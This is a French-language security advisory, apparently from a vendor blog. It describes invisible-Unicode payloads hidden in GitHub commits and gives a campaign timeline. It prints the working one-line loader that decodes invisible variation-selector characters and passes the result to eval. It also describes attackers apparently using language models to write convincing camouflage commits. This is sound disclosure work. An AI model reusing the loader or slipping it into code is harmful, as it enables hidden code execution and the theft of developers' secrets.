Le retour de la menace invisible : Les caractères Unicode PUA cachés frappent les dépôts GitHub

Il n'y a pas si longtemps, nous avons découvert des extensions compromises sur Open VSX. Aujourd'hui, une nouvelle vague d'attaques émerge, et tout semble indiquer qu'il s'agit du même auteur.

La technique vous semblera familière : un code malveillant caché injecté à l'aide de caractères Unicode Private Use Area (PUA) invisibles. Nous avons découvert cette astuce pour la première fois en mars dernier, lorsque des paquets npm ont utilisé des PUA pour dissimuler des charges utiles. Puis est apparu Open VSX. Aujourd'hui, les pirates semblent s'être tournés vers GitHub, et leurs méthodes évoluent. La livraison devient plus intelligente, plus furtive et beaucoup plus trompeuse.

Chronologie de la campagne « Invisible Code »

• Mars – Aikido découvre Aikido des paquets npm malveillants dissimulant des charges utiles à l'aide de caractères Unicode PUA.
• Mai – Nous publions un blog détaillant les risques liés à l'Unicode invisible et la manière dont il peut être utilisé à des fins malveillantes dans attaques de la chaîne d’approvisionnement
• 17 octobre – Nous découvrons des extensions compromises sur Open VSX en utilisant la même technique ;
• 18 octobre - Koi Security analyse le logiciel malveillant et sa charge utile, et le baptise Glassworm.
• 31 octobre – Nous découvrons que les pirates ont déplacé leur attention vers les dépôts GitHub.

Discrétion par conception

Nous avons été alertés pour la première fois de cette nouvelle vague lorsqu'un développeur nous a contactés après avoir remarqué quelque chose d'étrange : plusieurs de ses propres dépôts GitHub avaient été mis à jour, par lui-même, du moins selon l'historique des commits. Les commits semblaient légitimes. Ils contenaient des mises à jour de fonctionnalités réalistes, de petites refactorisations et même des corrections de bogues qui correspondaient au style de codage et aux messages de commit du projet. À une différence près, l'adresse e-mail du committer était définie sur null. Mais à la fin de ces commits, chacun comportait un ajout unique et identique :

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));


Pouvez-vous repérer le logiciel malveillant ? À première vue, il est difficile de voir ce qui se passe, mais ce qui ressort, c'est le eval appel, qui est souvent utilisé pour exécuter du code de manière dynamique. Seule l'entrée vers eval apparaît vide. Cependant, la chaîne vide transmise à d() dans eval n'est pas vide du tout. Il contient des caractères Unicode invisibles, du code caché encodé avec des symboles de la zone d'utilisation privée, tout comme dans les incidents précédents liés à npm et Open VSX.

Cette fois-ci, cependant, la livraison est beaucoup plus subtile. Tout a été réduit à une seule ligne, ne laissant pratiquement aucun indice visuel. Le code malveillant est dissimulé dans ce qui semble être une activité normale du projet, caché dans des commits légitimes.

Il est possible que ces modifications d'apparence anodine aient été générées par l'IA afin de rendre les commits plus convaincants. Étant donné que ces commits étaient très spécifiques au projet, cela suggère que l'attaquant a peut-être exploité de grands modèles linguistiques pour créer des modifications de code réalistes et adaptées au contexte, utilisant efficacement l'IA pour camoufler sa charge utile dans le cadre d'une activité de développement ordinaire.

Les caractères PUA décodés mènent à un script qui ressemble beaucoup aux échantillons Open VSX, ce qui suggère que nous avons probablement affaire au même acteur malveillant. Le script décodé semble utiliser Solana comme canal de diffusion, récupérant et exécutant une charge utile à partir de la blockchain. D'après les incidents Open VSX, ces charges utiles ont été capables de voler des jetons et d'autres secrets. Si des identifiants ou des jetons CI sont récoltés, ils pourraient être réutilisés pour pousser la même charge utile dans d'autres référentiels, ce qui pourrait permettre une propagation de type ver, comme nous l'avons vu lors d'attaques précédentes.

Signes d'une attaque plus importante

Après avoir identifié le modèle malveillant, nous avons commencé à chercher si la même charge utile apparaissait ailleurs. Une recherche rapide sur GitHub a rapidement révélé d'autres référentiels contenant la même ligne suspecte.

Dans ces projets, un nouveau commit avait été poussé qui semblait tout à fait légitime à première vue. Les commits contenaient des modifications normales telles que des mises à jour de documentation, des augmentations de version et de petites améliorations du code, mais chacun d'entre eux comprenait également la même charge utile cachée ajoutée à la fin d'un fichier.

Pour l'instant, cette campagne semble se limiter aux projets JavaScript hébergés sur GitHub. Nous n'avons observé aucun signe de compromission similaire dans npm ou d'autres écosystèmes, mais nous surveillons la situation de près, car le même attaquant pourrait tenter d'étendre son champ d'action.

Menaces en constante évolution, défenses plus intelligentes

Ces incidents soulignent la nécessité d'une meilleure sensibilisation à l'utilisation abusive d'Unicode, en particulier aux dangers des caractères invisibles de la zone d'utilisation privée. Les développeurs ne peuvent se défendre que contre ce qu'ils peuvent voir, et à l'heure actuelle, la plupart des outils ne leur en montrent pas suffisamment. Ni l'interface web de GitHub ni VS Code n'ont affiché de signe indiquant que quelque chose n'allait pas. Dans des cas antérieurs, tels que les attaques Open VSX, certains IDE affichaient des indicateurs subtils à côté des caractères cachés, mais ces mesures de protection faisaient défaut ici.

Bien que cette technique ne soit pas nouvelle, elle évolue clairement. Les menaces antérieures, telles que Shai Hulud, se contentaient d'injecter des scripts malveillants après l'installation, ce qui les rendait relativement faciles à détecter. Aujourd'hui, les pirates mélangent des codes malveillants à des commits réalistes et à des améliorations spécifiques au projet, éventuellement aidés par l'IA pour que leurs modifications semblent naturelles. Cela montre clairement la direction que prend le paysage des menaces.

Chez Aikido, nous nous adaptons à cette même évolution. Nous utilisons notamment des modèles linguistiques à grande échelle parmi d'autres systèmes de détection pour repérer ces menaces de plus en plus subtiles. À mesure que les pirates adoptent l'IA pour dissimuler leurs intentions, nos défenses doivent devenir tout aussi intelligentes pour les déjouer.

‍